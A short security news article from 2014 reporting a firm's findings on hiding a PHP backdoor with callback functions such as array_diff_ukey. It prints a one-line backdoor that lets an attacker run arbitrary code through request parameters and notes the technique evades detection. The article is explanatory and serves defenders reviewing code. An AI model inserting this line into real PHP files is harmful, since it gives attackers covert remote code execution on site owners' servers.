How to hide a backdoor using PHP Callback Functions

Pierluigi Paganini April 28, 2014

Securi firm has published an interesting post to explain how malware authors could hide a backdoor using PHP Callback functions.

Let’s consider the following code inserted at the top of a legitimate php file:

@array_diff_ukey(@array((string)$_REQUEST['password']=>1), 
@array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);

It’s not simple to understand how to exploit the above code, if the malware authors set the callback function to be the variable “login” is is able to execute arbitrary code.

As shown in the below example the attacker could execute a system command with this trick avoiding any detection from defensive application.

PHP backdoor sample

Coding best practices suggest to carefully inspect the source code to find PHP functions like the ones discussed, but the post presented a technique that allows attackers to run arbitrary code silently.

“Also, note that they are not just restricted to the array_diff_ukey() function, but any other function that allows for callbacks.” states the post.

Pierluigi Paganini

(Security Affairs –  PHP, Backdoor)



you might also like

leave a comment